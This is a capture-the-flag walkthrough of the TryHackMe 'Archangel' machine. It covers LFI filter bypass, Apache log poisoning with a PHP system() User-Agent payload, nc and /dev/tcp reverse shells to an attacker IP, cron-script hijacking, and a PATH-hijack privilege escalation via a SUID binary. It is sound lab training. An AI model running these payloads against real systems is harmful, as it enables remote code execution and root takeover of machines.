TryHackMe: Archangel

TryHackMe: Archangel

TryHackMe: ArchAngel by Archangel

Boot2root, Web exploitation, Privilege escalation, LFI

[Task 1] Deploy Machine

Enumeration

Let break out rustscan

ā•°ā”€ā  ā µ rustscan -a archangel --ulimit 10000 -- -sC -sV -A -oA archangel 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
šŸ˜µ https://admin.tryhackme.com

[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.230.222:22
Open 10.10.230.222:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-05 00:10 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:10
Completed NSE at 00:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:10
Completed NSE at 00:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:10
Completed NSE at 00:10, 0.00s elapsed
Initiating Ping Scan at 00:10
Scanning 10.10.230.222 [2 ports]
Completed Ping Scan at 00:10, 0.07s elapsed (1 total hosts)
Initiating Connect Scan at 00:10
Scanning archangel (10.10.230.222) [2 ports]
Discovered open port 22/tcp on 10.10.230.222
Discovered open port 80/tcp on 10.10.230.222
Completed Connect Scan at 00:10, 0.03s elapsed (2 total ports)
Initiating Service scan at 00:10
Scanning 2 services on archangel (10.10.230.222)
Completed Service scan at 00:11, 6.07s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.230.222.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 1.39s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 0.13s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 0.00s elapsed
Nmap scan report for archangel (10.10.230.222)
Host is up, received syn-ack (0.058s latency).
Scanned at 2021-02-05 00:10:58 GMT for 7s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPrwb4vLZ/CJqefgxZMUh3zsubjXMLrKYpP8Oy5jNSRaZynNICWMQNfcuLZ2GZbR84iEQJrNqCFcbsgD+4OPyy0TXV1biJExck3OlriDBn3g9trxh6qcHTBKoUMM3CnEJtuaZ1ZPmmebbRGyrG03jzIow+w2updsJ3C0nkUxdSQ7FaNxwYOZ5S3X5XdLw2RXu/o130fs6qmFYYTm2qii6Ilf5EkyffeYRc8SbPpZKoEpT7TQ08VYEICier9ND408kGERHinsVtBDkaCec3XmWXkFsOJUdW4BYVhrD3M8JBvL1kPmReOnx8Q7JX2JpGDenXNOjEBS3BIX2vjj17Qo3V
|   256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKhhd/akQ2OLPa2ogtMy7V/GEqDyDz8IZZQ+266QEHke6vdC9papydu1wlbdtMVdOPx1S6zxA4CzyrcIwDQSiCg=
|   256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBE3FV9PrmRlGbT2XSUjGvDjlWoA/7nPoHjcCXLer12O
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:11
Completed NSE at 00:11, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds

22/ssh

No username or password so let's skip.

80/http

80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

www

[Task2] Get a shell

Find a different hostname

From the heading of the main page we see "Send us a mail: support@[REDACTED]"

domain

Answer: mafialive.thm

Find flag 1

Adding the above to our hosts file

ā•°ā”€ā  ā µ echo "10.10.230.222 [REDACTED]" | sudo tee -a /etc/hosts
10.10.230.222 mafialive.thm

We can browse to the domain and enter get our flag.

flag1

Answer: thm{[REDACTED]}

Look for a page under development

Using gobuster we can look for directories and files on this host

ā•°ā”€ā  ā µ gobuster dir -u http://[REDACTED]/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,htm,zip,db,tar,tar.gz,gz,sql,sqlite
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://[REDACTED]/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,htm,db,gz,sql,php,txt,bak,zip,tar,tar.gz,sqlite
[+] Timeout:        10s
===============================================================
2021/02/05 00:25:44 Starting gobuster
===============================================================
/index.html (Status: 200)
/[REDAC.TED] (Status: 200)

We can also see there is a /robots.txt that gives us the same information
robots.txt

Answer: [REDAC.TED]

Find flag 2

From previous CTF's I remember php://filter/convert.base64-encode/resource= which will base64 encode the contents of a file and with the hint pointing us at the source code I use [REAC.TED] as the file to view

test.php

Throwing this into https://gchq.github.io/CyberChef and decoding from base64 we can see the page source code

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/[REDAC.TED]?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{e[REDACTED]}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>

Answer: thm{[REDACTED]}

Get a shell and find the user flag

From the above source code we can see that if the view get variable contains ../.. and does not contain /var/www/html/development_testing then we we will be given the error Sorry, Thats not allowed. Knowing this we need to build an LFI that bypasses this filter.

After some research we can see that even though ../.. is denied we bypass this using ..//... So we can build our URL to test

http://[REDACTED]/test.php?view=/var/www/html/development_testing/..//..//..//..//..//etc//passwd

which give us

LFI Test

OK, so the hint for this one is poison, knowing that we now read any file www-data has access to on the disk we should be able to read the access.log and poison this with some php

Using curl we can inject our User Agent String into the access the log

curl  http://mafialive.thm  -A '<?php echo system($_GET['cmd']) ?>'

We can then include /var/log/apache2/access.log with and added cmd= variable to get RCE

http://[REDACTED]/[REDAC.TED]?view=/var/www/html/development_testing/..//..//..//..//..//var/log/apache2/access.log?cmd=id

RCE Test

Now we have a working RCE we can use it to get run commands or get a shell. Instead of trying to inject cmd= with a payload though I ran another curl request and put my reverse shell payload in the User Agent String again.

curl 10.10.179.68 -A "<?php echo system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.5.198 4444 >/tmp/f') ?>"

With nc -lvnp 4444 running on my attack box I then include then access.log again in my request

curl "http://[REDACTED]/[REDAC.TED]?view=php://filter/resource=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log"

Shell

Once we have a shell I setup a couple of easy ways to get back in then go hunting the user.txt

$ cd /home/archangel
$ cat user.txt
thm{[REDACTED]}

Answer: thm{[REDACTED]}

[Task 3] Root the machine

Get User 2 flag

Now that we have the first flag let's stablise our shell.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/home/archangel$ export TERM=xterm
export TERM=xterm
www-data@ubuntu:/home/archangel$ ^Z
[1]  + 82280 suspended  nc -lvnp 4444

ā•­ā”€tj at kali in ~ 21-02-05 - 1:59:52
ā•°ā”€ā—‹ stty raw -echo; fg

[1]  + 82280 continued  nc -lvnp 4444
www-data@ubuntu:/home/archangel$ 

Looking in /home/archangel we have 2 directories, but can not access secret..

www-data@ubuntu:/home/archangel$ ls -R  
.:
myfiles  secret  user.txt

./myfiles:
passwordbackup
ls: cannot open directory './secret': Permission denied

If we cat myfiles/passwordbackup we get a youtube link.....

roll

Moving on let's grab linpeas.sh and see what we can find

www-data@ubuntu:/tmp$ wget http://10.9.5.198:9999/linpeas.sh
--2021-02-05 07:35:32--  http://10.9.5.198:9999/linpeas.sh
Connecting to 10.9.5.198:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 320037 (313K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 312.54K  1.31MB/s    in 0.2s    

2021-02-05 07:35:32 (1.31 MB/s) - 'linpeas.sh' saved [320037/320037]

www-data@ubuntu:/tmp$ sh linpeas.sh | tee linpeas.log

Checking the output for anything interesting we see

[+] Sudo version
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version                                                 
Sudo version 1.8.21p2 

[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs 

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/1 *   * * *   archangel /opt/helloworld.sh

[+] Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files            
/opt/helloworld.sh

Testing the old sudo bug from 2019 mentioned above does not work ( Ok, the 2021 one does but lets do this box as it is meant to be done) so lets check out that cronjob...

*/1 *   * * *   archangel /opt/helloworld.sh

www-data@ubuntu:/tmp$ ls -l /opt/helloworld.sh
-rwxrwxrwx 1 archangel archangel 66 Nov 20 10:35 /opt/helloworld.sh
www-data@ubuntu:/tmp$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
www-data@ubuntu:/tmp$ ls /opt/backupfiles/
ls: cannot open directory '/opt/backupfiles/': Permission denied

As can see the script simply adds "hellow world" to a text file under /opt/backupfiles/, the interesting thing is that the script itself is -rwxrwxrwx meaning we can alter it! Adding a reverse shell line to the end of it and waiting a for it to execute we get a shell back

Target

$ echo 'bash -i >& /dev/tcp/10.9.5.198/4445 0>&1' >> /opt/helloworld.sh 
$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
bash -i >& /dev/tcp/10.9.5.198/4445 0>&1

Attack Box

ā•°ā”€ā—‹ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.9.5.198] from (UNKNOWN) [10.10.179.68] 60284
bash: cannot set terminal process group (18499): Inappropriate ioctl for device
bash: no job control in this shell
archangel@ubuntu:~$ 

From here we can read secret/users2.txt

archangel@ubuntu:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
archangel@ubuntu:~$ export TERM=xterm
export TERM=xterm
archangel@ubuntu:~$ ^Z
[1]  + 83591 suspended  nc -lvnp 4445

ā•°ā”€ā—‹ stty raw -echo; fg
[1]  + 83591 continued  nc -lvnp 4445

archangel@ubuntu:~$ 
archangel@ubuntu:~$ cat secret/
backup     user2.txt  
archangel@ubuntu:~$ cat secret/user2.txt 
thm{[REDACTED]}

Answer: thm{[REDACTED]}

Root the machine and find the root flag

First I try sudo -l but we need archangel's password....

archangel@ubuntu:~$ sudo -l
[sudo] password for archangel: 
Sorry, try again.
[sudo] password for archangel: 
sudo: 1 incorrect password attempt

Under secret there is SUID binary backup

archangel@ubuntu:~/secret$ ls -l
total 24
-rwsr-xr-x 1 root root 16904 Nov 18 16:40 backup
-rw-r--r-- 1 root root    49 Nov 19 20:41 user2.txt

Running this we get

archangel@ubuntu:~/secret$ ./backup 
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory

Running strings across the binary we see the following interesting bits

cp /home/user/archangel/myfiles/* /opt/backupfiles

Hmmm it calls cp without prepending a path! This could be abused...

Let's create a new file cp with the following contents

#!/bin/bash
/bin/bash -p

Then lets make it executable and change our PATH so it is the first cp found.

archangel@ubuntu:~/secret$ chmod +x cp
archangel@ubuntu:~/secret$ which cp
/bin/cp
archangel@ubuntu:~/secret$ export PATH=$PWD:$PATH
archangel@ubuntu:~/secret$ which cp
/home/archangel/secret/cp
archangel@ubuntu:~/secret$ ./backup
root@ubuntu:~/secret# id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)

Now we are root we can read /root/root.txt

root@ubuntu:~/secret# cat /root/root.txt 
thm{[REDACTED]

Answer: thm{[REDACTED]

Boom!

Another box done, not done LFI in a while so took a bit longer than I would like, I also broke the box a couple of times with bad php injects...

Finish

Show Comments